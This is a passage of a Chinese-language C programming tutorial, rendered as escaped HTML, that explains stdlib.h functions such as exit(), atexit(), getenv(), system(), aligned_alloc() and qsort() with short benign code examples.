class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e status)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003equick_exit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e status)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e _Exit(\u003cspan class=\"type\"\u003eint\u003c/span\u003e status);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们都接受一个整数,表示程序的退出状态,\u003ccode\u003e0\u003c/code\u003e是正常退出,非零值表示发生错误,可以使用宏\u003ccode\u003eEXIT_SUCCESS\u003c/code\u003e和\u003ccode\u003eEXIT_FAILURE\u003c/code\u003e当作参数。它们本身没有返回值。\u003c/p\u003e\u003cp\u003e它们的区别是,退出时所做的清理工作不同。\u003ccode\u003eexit()\u003c/code\u003e是正常退出,系统会做完整的清理,比如更新所有文件流,并且删除临时文件。\u003ccode\u003equick_exit()\u003c/code\u003e是快速退出,系统的清理工作稍微少一点。\u003ccode\u003e_Exit()\u003c/code\u003e是立即退出,不做任何清理工作。\u003c/p\u003e\u003cp\u003e下面是一些用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003equick_exit(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e_Exit(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"atexit-,at-quick-exit\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#atexit-%EF%BC%8Cat-quick-exit\" class=\"headerlink\" title=\"atexit(),at_quick_exit()\"\u003e\u003c/a\u003eatexit(),at_quick_exit()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eatexit()\u003c/code\u003e用来登记当前程序退出时(调用\u003ccode\u003eexit()\u003c/code\u003e或\u003ccode\u003emain()\u003c/code\u003e正常退出),所要执行的其他函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eat_quick_exit()\u003c/code\u003e则是登记使用\u003ccode\u003equick_exit()\u003c/code\u003e方法退出当前程序时,所要执行的其他函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eexit()\u003c/code\u003e只能触发\u003ccode\u003eatexit()\u003c/code\u003e登记的函数,\u003ccode\u003equick_exit()\u003c/code\u003e只能触发\u003ccode\u003eat_quick_exit()\u003c/code\u003e登记的函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatexit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eat_quick_exit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们的参数是要执行的函数地址,即函数名。它们的返回值都是调用成功时返回\u003ccode\u003e0\u003c/code\u003e,调用失败时返回非零值。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esign_off\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etoo_bad\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e atexit(sign_off);   \u003cspan class=\"comment\"\u003e/* 注册 sign_off()函数 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter an integer:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n) != \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;That\u0026#39;s no integer!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e atexit(too_bad); \u003cspan class=\"comment\"\u003e/* 注册 too_bad()函数 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d is %s.\\n\u0026#34;\u003c/span\u003e, n, (n % \u003cspan class=\"number\"\u003e2\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) ? \u003cspan class=\"string\"\u003e\u0026#34;even\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;odd\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esign_off\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;sign_off\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etoo_bad\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;too bad\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,用户输入失败时,会调用\u003ccode\u003esign_off()\u003c/code\u003e和\u003ccode\u003etoo_bad()\u003c/code\u003e函数;但是输入成功时只会调用\u003ccode\u003esign_off()\u003c/code\u003e。因为只有输入失败时,才会进入\u003ccode\u003eif\u003c/code\u003e语句登记\u003ccode\u003etoo_bad()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e另外,如果有多条\u003ccode\u003eatexit()\u003c/code\u003e语句,函数退出时最先调用的,是最后一个登记的函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eatexit()\u003c/code\u003e登记的函数(如上例的\u003ccode\u003esign_off\u003c/code\u003e和\u003ccode\u003etoo_bad\u003c/code\u003e)应该不带任何参数且返回类型为\u003ccode\u003evoid\u003c/code\u003e。通常,这些函数会执行一些清理任务,例如删除临时文件或重置环境变量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eat_quick_exit()\u003c/code\u003e也是同样的规则,下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexit_handler_1\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;1\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexit_handler_2\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;2\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e at_quick_exit(exit_handler_1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e at_quick_exit(exit_handler_2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e quick_exit(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e执行上面的示例,命令行会先输出2,再输出1。\u003c/p\u003e\u003ch3 id=\"getenv\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#getenv\" class=\"headerlink\" title=\"getenv()\"\u003e\u003c/a\u003egetenv()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003egetenv()\u003c/code\u003e用于获取环境变量的值。环境变量是操作系统提供的程序之外的一些环境参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003egetenv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数是一个字符串,表示环境变量名。返回值也是一个字符串,表示环境变量的值。如果指定的环境变量不存在,则返回 NULL。\u003c/p\u003e\u003cp\u003e下面是输出环境变量\u003ccode\u003e$PATH\u003c/code\u003e的值的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;PATH is %s\\n\u0026#34;\u003c/span\u003e, getenv(\u003cspan class=\"string\"\u003e\u0026#34;PATH\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"system\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#system\" class=\"headerlink\" title=\"system()\"\u003e\u003c/a\u003esystem()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esystem()\u003c/code\u003e函数用于执行外部程序。它会把它的参数字符串传递给操作系统,让操作系统的命令处理器来执行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esystem\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003echar\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e * command )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数的返回值因编译器而异。但是标准规定,如果 NULL 作为参数,表示询问操作系统,是否有可用的命令处理器,如果有的话,返回一个非零值,否则返回零。\u003c/p\u003e\u003cp\u003e下面是执行\u003ccode\u003els\u003c/code\u003e命令的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esystem(\u003cspan class=\"string\"\u003e\u0026#34;ls -l\u0026#34;\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"内存管理函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"内存管理函数\"\u003e\u003c/a\u003e内存管理函数\u003c/h3\u003e\u003cp\u003estdlib.h 提供了一些内存操作函数,下面几个函数详见《内存管理》一章,其余在本节介绍。\u003c/p\u003e\u003cul\u003e\u003cli\u003emalloc():分配内存区域\u003c/li\u003e\u003cli\u003ecalloc():分配内存区域。\u003c/li\u003e\u003cli\u003erealloc():调节内存区域大小。\u003c/li\u003e\u003cli\u003efree():释放内存区域。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"aligned-alloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#aligned-alloc\" class=\"headerlink\" title=\"aligned_alloc()\"\u003e\u003c/a\u003ealigned_alloc()\u003c/h4\u003e\u003cp\u003e很多系统有内存对齐的要求,即内存块的大小必须是某个值(比如64字节)的倍数,这样有利于提高处理速度。\u003ccode\u003ealigned_alloc()\u003c/code\u003e就用于分配满足内存对齐要求的内存块,它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ealigned_alloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e alignment, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003ealignment:整数,表示内存对齐的单位大小,一般是2的整数次幂(2、4、8、16……)。\u003c/li\u003e\u003cli\u003esize:整数,表示内存块的大小。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e分配成功时,它返回一个无类型指针,指向新分配的内存块。分配失败时,返回 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = aligned_alloc(\u003cspan class=\"number\"\u003e64\u003c/span\u003e, \u003cspan class=\"number\"\u003e256\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ealigned_alloc()\u003c/code\u003e分配的内存块,单位大小是64字节,要分配的字节数是256字节。\u003c/p\u003e\u003ch3 id=\"qsort\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#qsort\" class=\"headerlink\" title=\"qsort()\"\u003e\u003c/a\u003eqsort()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eqsort()\u003c/code\u003e用来快速排序一个数组。它对数组成员的类型没有要求,任何类型数组都可以用这个函数排序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eqsort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *base,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e nmemb, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e (*compar)(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 